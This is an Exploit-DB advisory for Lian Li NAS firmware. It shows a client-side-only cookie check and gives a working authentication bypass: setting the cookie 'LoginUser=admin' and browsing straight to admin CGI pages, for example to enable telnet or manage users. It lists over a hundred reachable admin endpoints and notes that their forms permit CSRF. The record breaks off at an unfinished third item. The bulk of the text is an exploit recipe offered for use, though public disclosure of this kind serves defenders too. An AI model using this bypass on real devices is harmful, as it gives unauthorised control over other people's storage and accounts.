Exploit-DB #34163
Description: Lian Li NAS - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-07-24
Author: pws

Exploit:
# Exploit Title: Lian Li NAS Multiple vulnerabilities
# Date: 21/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.lian-li.com/en/dt_portfolio_category/nas/
# Firmware Link: https://www.dropbox.com/s/imvkndl8m5yj7qp/G5S[PII_REDACTED]00.tar.gz
# Tested on: Latest version
# CVE : None yet

1. Hardcoded cookie to access the admin section

File: /javascript/storlib.js
function get_cookie()
{
	var allcookies = document.cookie;
	var pos = allcookies.indexOf("LoginUser=admin");
	if (pos == -1)
		location = "/index.html";
}

2. Authentication bypass

Create such cookie: 'LoginUser=admin' (document.cookie='LoginUser=admin').
Then, access the URL directly to get admin features.

Eg. 
http://192.168.1.1/cgi/telnet/telnet.cgi # enable/disable the Telnet server
http://192.168.1.1/cgi/user/user.cgi     # manage users (change passwords, add user, ...)

Here are all the cgi's accessible (firmware: G5S[PII_REDACTED]00) :

cgi/lan/lan.cgi
cgi/lan/lan_nasHandler.cgi
cgi/lan/lan_routerHandler.cgi
cgi/information/information.cgi
cgi/return/return.cgi
cgi/account/account.cgi
cgi/account/accountHandler.cgi
cgi/lang/lang.cgi
cgi/lang/langHandler.cgi
cgi/backup/clear.cgi
cgi/backup/fixed.cgi
cgi/backup/ipaddress.cgi
cgi/backup/listing.cgi
cgi/backup/s.cgi
cgi/backup/schedule.cgi
cgi/backup/source.cgi
cgi/backup/dd_schedule.cgi
cgi/backup/decide.cgi
cgi/backup/ipaddress1.cgi
cgi/backup/s1.cgi
cgi/backup/source1.cgi
cgi/backup/ipaddress2.cgi
cgi/backup/s2.cgi
cgi/backup/source2.cgi
cgi/backup/ipaddress3.cgi
cgi/backup/s3.cgi
cgi/backup/source3.cgi
cgi/backup/ipaddress5.cgi
cgi/backup/s5.cgi
cgi/backup/source5.cgi
cgi/backup/l.cgi
cgi/backup/listing1.cgi
cgi/backup/listing2.cgi
cgi/backup/listing3.cgi
cgi/backup/listing5.cgi
cgi/backup/email.cgi
cgi/backup/email1.cgi
cgi/backup/fixed1.cgi
cgi/backup/schedule1.cgi
cgi/backup/email2.cgi
cgi/backup/fixed2.cgi
cgi/backup/schedule2.cgi
cgi/backup/email3.cgi
cgi/backup/fixed3.cgi
cgi/backup/schedule3.cgi
cgi/backup/dd_schedule1.cgi
cgi/backup/dd_schedule2.cgi
cgi/backup/dd_schedule3.cgi
cgi/backup/dd_schedule5.cgi
cgi/backup/email5.cgi
cgi/backup/fixed5.cgi
cgi/backup/schedule5.cgi
cgi/backup/fixed6.cgi
cgi/backup/ipaddress6.cgi
cgi/backup/listing6.cgi
cgi/backup/s6.cgi
cgi/backup/email6.cgi
cgi/backup/schedule6.cgi
cgi/backup/source6.cgi
cgi/backup/dd_schedule6.cgi
cgi/backup/fixed4.cgi
cgi/backup/ipaddress4.cgi
cgi/backup/listing4.cgi
cgi/backup/s4.cgi
cgi/backup/email4.cgi
cgi/backup/schedule4.cgi
cgi/backup/source4.cgi
cgi/backup/dd_schedule4.cgi
cgi/backup/emessage.cgi
cgi/backup/emessage_fail.cgi
cgi/group/group.cgi
cgi/group/groupHandler.cgi
cgi/group/groupDeleteHandler.cgi
cgi/group/groupMembers.cgi
cgi/group/groupMembersHandler.cgi
cgi/user/user.cgi
cgi/user/userHandler.cgi
cgi/user/userDeleteHandler.cgi
cgi/user/userMembership.cgi
cgi/user/userMembershipHandler.cgi
cgi/time/time.cgi
cgi/time/timeHandler.cgi
cgi/power/power.cgi
cgi/power/powerHandler.cgi
cgi/factoryReset/factoryReset.cgi
cgi/factoryReset/factoryResetHandler.cgi
cgi/restoreConfig/restoreConfig.cgi
cgi/restoreConfig/restoreConfigHandler.cgi
cgi/saveConfig/saveConfig.cgi
cgi/saveConfig/saveConfigHandler.cgi
cgi/diskUsage/diskUsage.cgi
cgi/diskUsage/diskUsageuser.cgi
cgi/diskUsage/diskUsageHandler.cgi
cgi/diskUsage/diskUsageuserHandler.cgi
cgi/diskUtility/diskUtility.cgi
cgi/diskUtility/diskUtilityHandler.cgi
cgi/diskUtility/healthReport.cgi
cgi/dhcpserver/dhcpserver.cgi
cgi/dhcpserver/dhcpserverHandler.cgi
cgi/dhcpserver/dhcplease.cgi
cgi/dhcpserver/dhcpleaseHandler.cgi
cgi/dhcpserver/dhcpstatic.cgi
cgi/dhcpserver/dhcpstaticHandler.cgi
cgi/dhcpserver/staticipDeleteHandler.cgi
cgi/errorAlert/errorAlert.cgi
cgi/errorAlert/errorAlertHandler.cgi
cgi/share/share.cgi
cgi/share/shareHandler.cgi
cgi/share/shareDeleteHandler.cgi
cgi/share/share_nonLinux.cgi
cgi/share/share_nonLinuxHandler.cgi
cgi/share/share_Linux.cgi
cgi/share/share_LinuxHandler.cgi
cgi/fileServer/fileServer.cgi
cgi/fileServer/fileServerHandler.cgi
cgi/log_system/log_system.cgi
cgi/log_system/log_systemHandler.cgi
cgi/log_admin/log_admin.cgi
cgi/log_admin/log_adminHandler.cgi
cgi/log_dhcp/log_dhcp.cgi
cgi/log_dhcp/log_dhcpHandler.cgi
cgi/log_ftp/log_ftp.cgi
cgi/log_ftp/log_ftpHandler.cgi
cgi/log_samba/log_samba.cgi
cgi/log_samba/log_sambaHandler.cgi
cgi/printer/printer.cgi
cgi/printer/printerHandler.cgi
cgi/upgrade2/upgrade.cgi
cgi/upgrade2/upgradeHandler.cgi
cgi/wizard/wizard.cgi
cgi/wizard/language.cgi
cgi/wizard/languageHandler.cgi
cgi/wizard/password.cgi
cgi/wizard/passwordHandler.cgi
cgi/wizard/hostname.cgi
cgi/wizard/hostnameHandler.cgi
cgi/wizard/tcpip.cgi
cgi/wizard/tcpipHandler.cgi
cgi/wizard/time.cgi
cgi/wizard/timeHandler.cgi
cgi/wizard/confirm.cgi
cgi/wizard/confirmHandler.cgi
cgi/wizard/addUser.cgi
cgi/wizard/user.cgi
cgi/wizard/userHandler.cgi
cgi/wizard/userMembership.cgi
cgi/wizard/userMembershipHandler.cgi
cgi/wizard/userSharePermission.cgi
cgi/wizard/userSharePermissionHandler.cgi
cgi/wizard/addGroup.cgi
cgi/wizard/group.cgi
cgi/wizard/groupHandler.cgi
cgi/wizard/groupMembers.cgi
cgi/wizard/groupMembersHandler.cgi
cgi/wizard/groupSharePermission.cgi
cgi/wizard/groupSharePermissionHandler.cgi
cgi/wizard/addShare.cgi
cgi/wizard/share.cgi
cgi/wizard/shareHandler.cgi
cgi/wizard/sharePermission.cgi
cgi/wizard/sharePermissionHandler.cgi
cgi/wizard/nfsPermission.cgi
cgi/wizard/nfsPermissionHandler.cgi
cgi/wizard/button.cgi
cgi/telnet/telnet.cgi
cgi/telnet/telnetHandler.cgi
cgi/bonjour/bonjour.cgi
cgi/bonjour/bonjourHandler.cgi
cgi/raid/raid.cgi
cgi/raid/raidHandler.cgi
cgi/swupdate/swupdate.cgi
cgi/swupdate/swupdateHandler.cgi
cgi/swupdate/installHandler.cgi
cgi/swupdate/swlist.cgi
cgi/swupdate/swlistHandler.cgi

All forms on those cgi pages can be used to perform CSRF attacks (to target internal network for example).

3.